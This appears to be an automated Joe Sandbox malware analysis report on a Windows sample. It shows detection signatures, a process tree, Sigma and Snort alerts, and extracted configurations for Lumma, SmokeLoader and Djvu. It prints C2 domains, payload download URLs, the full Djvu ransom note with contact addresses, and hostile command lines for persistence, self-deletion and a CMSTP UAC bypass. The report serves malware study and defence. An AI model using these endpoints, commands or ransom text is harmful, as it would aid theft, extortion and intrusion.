Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
KMPrEVaSfH.exe

Overview

General Information

Sample name:KMPrEVaSfH.exe
renamed because original name is a hash value
Original sample name:69d761d941e1a7a4721e267e91167b3a.exe
Analysis ID:1389422
MD5:69d761d941e1a7a4721e267e91167b3a
SHA1:7e83135738bdd132a8c9da031b4794852cfc9f8b
SHA256:c6d317e1eb756b3577414068ac20fc445921f4edd86bef21dbab2d89920e4649
Tags:ArkeiStealerexe
Infos:

Detection

LummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Benign windows process drops PE files
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Found ransom note / readme
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AntiVM3
Yara detected Babuk Ransomware
Yara detected Djvu Ransomware
Yara detected LummaC Stealer
Yara detected PureLog Stealer
Yara detected RedLine Stealer
Yara detected SmokeLoader
Yara detected UAC Bypass using CMSTP
Yara detected Vidar stealer
Yara detected zgRAT
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains very large array initializations
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if the current machine is a virtual machine (disk enumeration)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Creates multiple autostart registry keys
Deletes itself after installation
Drops PE files to the startup folder
Drops PE files with benign system names
Found many strings related to Crypto-Wallets (likely being stolen)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies existing user documents (likely ransomware behavior)
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
PE file contains section with special chars
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: System File Execution Location Anomaly
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Writes a notice file (html or txt) to demand a ransom
Yara detected Costura Assembly Loader
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to several IPs in different countries
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to query network adapater information
Contains functionality to read the PEB
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after checking a module file name)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Startup Folder File Write
Sigma detected: Uncommon Svchost Parent Process
Stores files to the Windows start menu directory
Tries to load missing DLLs
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a Windows Living Off The Land Binaries (LOL bins)
Uses a known web browser user agent for HTTP communication
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • KMPrEVaSfH.exe (PID: 1248 cmdline: C:\Users\user\Desktop\KMPrEVaSfH.exe MD5: 69D761D941E1A7A4721E267E91167B3A)
    • explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
      • BDBB.exe (PID: 4204 cmdline: C:\Users\user\AppData\Local\Temp\BDBB.exe MD5: 69D761D941E1A7A4721E267E91167B3A)
        • WerFault.exe (PID: 5788 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 360 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • EE23.exe (PID: 1784 cmdline: C:\Users\user\AppData\Local\Temp\EE23.exe MD5: A2B38EDE1742205C46B74CE044287FB9)
        • EE23.exe (PID: 2284 cmdline: C:\Users\user\AppData\Local\Temp\EE23.exe MD5: A2B38EDE1742205C46B74CE044287FB9)
          • icacls.exe (PID: 6752 cmdline: icacls "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)
          • EE23.exe (PID: 5644 cmdline: "C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask MD5: A2B38EDE1742205C46B74CE044287FB9)
            • EE23.exe (PID: 5876 cmdline: "C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask MD5: A2B38EDE1742205C46B74CE044287FB9)
              • build2.exe (PID: 432 cmdline: "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe" MD5: A0CC1241AA4803DC23FF778AF73E3768)
                • build2.exe (PID: 2576 cmdline: "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe" MD5: A0CC1241AA4803DC23FF778AF73E3768)
                  • cmd.exe (PID: 5712 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe" & del "C:\ProgramData\*.dll"" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
                    • conhost.exe (PID: 5356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                    • timeout.exe (PID: 6448 cmdline: timeout /t 5 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
      • EE23.exe (PID: 5824 cmdline: "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart MD5: A2B38EDE1742205C46B74CE044287FB9)
        • EE23.exe (PID: 2836 cmdline: "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart MD5: A2B38EDE1742205C46B74CE044287FB9)
      • EE23.exe (PID: 6324 cmdline: "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart MD5: A2B38EDE1742205C46B74CE044287FB9)
        • EE23.exe (PID: 3292 cmdline: "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart MD5: A2B38EDE1742205C46B74CE044287FB9)
      • 84F5.exe (PID: 4140 cmdline: C:\Users\user\AppData\Local\Temp\84F5.exe MD5: 95E59305AD61119CF15EE95562BD05BA)
        • WerFault.exe (PID: 5020 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1548 MD5: C31336C1EFC2CCB44B4326EA793040F2)
        • WerFault.exe (PID: 4164 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1484 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • E5F3.exe (PID: 3628 cmdline: C:\Users\user\AppData\Local\Temp\E5F3.exe MD5: 35FFEFA212414C2538DF410E5AD3AFA7)
      • 3EE1.exe (PID: 5248 cmdline: C:\Users\user\AppData\Local\Temp\3EE1.exe MD5: 422A9C5CFA6370C93A4BD5DB29C3D196)
      • BA7B.exe (PID: 432 cmdline: C:\Users\user\AppData\Local\Temp\BA7B.exe MD5: CD2B5A09EFDAC0FFBD76111F44733138)
        • cmd.exe (PID: 3348 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpA28E.tmp.bat"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 4276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • timeout.exe (PID: 3060 cmdline: timeout 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • svchost.exe (PID: 2428 cmdline: "C:\Users\user\AppData\Roaming\svchost.exe" MD5: CD2B5A09EFDAC0FFBD76111F44733138)
            • cmstp.exe (PID: 1720 cmdline: "c:\windows\system32\cmstp.exe" /au C:\windows\temp\chpkcaqm.inf MD5: D7AABFAB5BEFD53BA3A27BD48F3CC675)
  • ubrawdb (PID: 4712 cmdline: C:\Users\user\AppData\Roaming\ubrawdb MD5: 69D761D941E1A7A4721E267E91167B3A)
  • svchost.exe (PID: 4592 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • WerFault.exe (PID: 4372 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4204 -ip 4204 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 3192 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4140 -ip 4140 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 2232 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4140 -ip 4140 MD5: C31336C1EFC2CCB44B4326EA793040F2)
  • svchost.exe (PID: 5636 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 5152 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • EE23.exe (PID: 5968 cmdline: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe --Task MD5: A2B38EDE1742205C46B74CE044287FB9)
    • EE23.exe (PID: 3560 cmdline: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe --Task MD5: A2B38EDE1742205C46B74CE044287FB9)
  • svchost.exe (PID: 7116 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Lumma Stealer, LummaC2 StealerLumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
NameDescriptionAttributionBlogpost URLsLink
BabukBabuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.babuk
NameDescriptionAttributionBlogpost URLsLink
STOP, DjvuSTOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.stop
NameDescriptionAttributionBlogpost URLsLink
RedLine StealerRedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
NameDescriptionAttributionBlogpost URLsLink
SmokeLoaderThe SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
  • SMOKY SPIDER
https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: LummaC

{"C2 url": ["sofahuntingslidedine.shop", "culturesketchfinanciall.shop", "triangleseasonbenchwj.shop", "modestessayevenmilwek.shop", "liabilityarrangemenyit.shop", "claimconcessionrebe.shop", "secretionsuitcasenioise.shop", "gemcreedarticulateod.shop", "exitassumebangpastcone.shop", "sofahuntingslidedine.shop", "culturesketchfinanciall.shop", "triangleseasonbenchwj.shop", "modestessayevenmilwek.shop", "liabilityarrangemenyit.shop", "claimconcessionrebe.shop", "secretionsuitcasenioise.shop", "gemcreedarticulateod.shop", "exitassumebangpastcone.shop"], "Build id": "AmNsA2--afra"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://trad-einmyus.com/index.php", "http://tradein-myus.com/index.php", "http://trade-inmyus.com/index.php"]}

Threatname: Djvu

{"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://habrafa.com/files/1/build3.exe"], "C2 url": "http://habrafa.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-hPAqznkJKD\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0849ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxNW5PuCq3eD+NuWPeUf0\\\\nDjxqm4Rl68hx+wN5scCMO43zRgzSLhdoIPuf2b8AKAB\\/jsChsRqvDVd6y8mzsIKe\\\\nnChXDE1jvtgWpSRPW\\/CxMFID0byQaSSLLKzGwmJ\\/VNb8O2ywG1si0MaENyBfurKx\\\\nlD\\/vPJwPUIHLaiQ6S4JQo43IeOABv5y8opZFp6MP4u\\/pKneNN4rZ9YD1FeX\\/DlLj\\\\n\\/Znm2LiZcoo4LTGK0pwQ2+FMd+tpYI1M5RHnDZwEETPt3QfIMMnnldvAsIUlr34n\\\\nlPVEQGOGu8KQmwm+5UyAZ6+x6pmkK7UK1i3oA6hbB\\/V\\/Bqd90OlHP1avT78Xnjcc\\\\nxwIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_RedLine_1Yara detected RedLine StealerJoe Security
    dump.pcapJoeSecurity_RedLineYara detected RedLine StealerJoe Security
      sslproxydump.pcapJoeSecurity_LummaCStealer_2Yara detected LummaC StealerJoe Security

        Dropped Files

        SourceRuleDescriptionAuthorStrings
        C:\Windows\Temp\chpkcaqm.infJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security

          Memory Dumps

          SourceRuleDescriptionAuthorStrings
          00000005.00000002.2445621765.0000000002E60000.00000040.00001000.00020000.00000000.sdmpWindows_Trojan_Smokeloader_3687686funknownunknown
          • 0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
          00000004.00000002.2273933251.0000000004700000.00000040.00001000.00020000.00000000.sdmpWindows_Trojan_Smokeloader_3687686funknownunknown
          • 0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
          0000001E.00000002.3080228144.000000000243C000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
            0000002B.00000003.2910090875.0000000005270000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              00000004.00000002.2274024832.0000000004731000.00000004.10000000.00040000.00000000.sdmpJoeSecurity_SmokeLoader_2Yara detected SmokeLoaderJoe Security
                Click to see the 115 entries

                Unpacked PEs

                SourceRuleDescriptionAuthorStrings
                30.2.E5F3.exe.243cf16.2.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                  30.2.E5F3.exe.243cf16.2.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                    30.2.E5F3.exe.4f30000.4.raw.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                      30.2.E5F3.exe.4f30000.4.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                        36.2.3EE1.exe.38c9e60.1.raw.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                          Click to see the 124 entries

                          Sigma Signatures

                          System Summary

                          barindex
                          Sigma detected: Files With System Process Name In Unsuspected Locations
                          Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\BA7B.exe, ProcessId: 432, TargetFilename: C:\Users\user\AppData\Roaming\svchost.exe
                          Sigma detected: System File Execution Location Anomaly
                          Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpA28E.tmp.bat"", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3348, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 2428, ProcessName: svchost.exe
                          Sigma detected: CurrentVersion Autorun Keys Modification
                          Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\EE23.exe, ProcessId: 2284, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper
                          Sigma detected: Execution of Suspicious File Type Extension
                          Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\ubrawdb, CommandLine: C:\Users\user\AppData\Roaming\ubrawdb, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\ubrawdb, NewProcessName: C:\Users\user\AppData\Roaming\ubrawdb, OriginalFileName: C:\Users\user\AppData\Roaming\ubrawdb, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Users\user\AppData\Roaming\ubrawdb, ProcessId: 4712, ProcessName: ubrawdb
                          Sigma detected: Startup Folder File Write
                          Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\E5F3.exe, ProcessId: 3628, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
                          Sigma detected: Uncommon Svchost Parent Process
                          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpA28E.tmp.bat"", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3348, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 2428, ProcessName: svchost.exe
                          Sigma detected: Windows Processes Suspicious Parent Directory
                          Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 4592, ProcessName: svchost.exe

                          Snort Signatures

                          Timestamp:192.168.2.5185.12.126.18249712802039103 02/08/24-20:17:16.198275
                          SID:2039103
                          Source Port:49712
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249753802039103 02/08/24-20:17:39.649713
                          SID:2039103
                          Source Port:49753
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249741802039103 02/08/24-20:17:36.031132
                          SID:2039103
                          Source Port:49741
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249715802039103 02/08/24-20:17:17.712105
                          SID:2039103
                          Source Port:49715
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249721802039103 02/08/24-20:17:22.381426
                          SID:2039103
                          Source Port:49721
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249747802039103 02/08/24-20:17:37.582726
                          SID:2039103
                          Source Port:49747
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249738802039103 02/08/24-20:17:35.542917
                          SID:2039103
                          Source Port:49738
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249735802039103 02/08/24-20:17:34.530094
                          SID:2039103
                          Source Port:49735
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249723802039103 02/08/24-20:17:24.945601
                          SID:2039103
                          Source Port:49723
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249752802039103 02/08/24-20:17:39.142330
                          SID:2039103
                          Source Port:49752
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249719802039103 02/08/24-20:17:21.338440
                          SID:2039103
                          Source Port:49719
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249714802039103 02/08/24-20:17:17.184195
                          SID:2039103
                          Source Port:49714
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249749802039103 02/08/24-20:17:38.118115
                          SID:2039103
                          Source Port:49749
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249720802039103 02/08/24-20:17:21.843709
                          SID:2039103
                          Source Port:49720
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249731802039103 02/08/24-20:17:33.496693
                          SID:2039103
                          Source Port:49731
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249737802039103 02/08/24-20:17:35.042605
                          SID:2039103
                          Source Port:49737
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5196.188.169.13849750802036333 02/08/24-20:17:38.402909
                          SID:2036333
                          Source Port:49750
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5196.188.169.13849750802020826 02/08/24-20:17:38.402909
                          SID:2020826
                          Source Port:49750
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249717802039103 02/08/24-20:17:20.307275
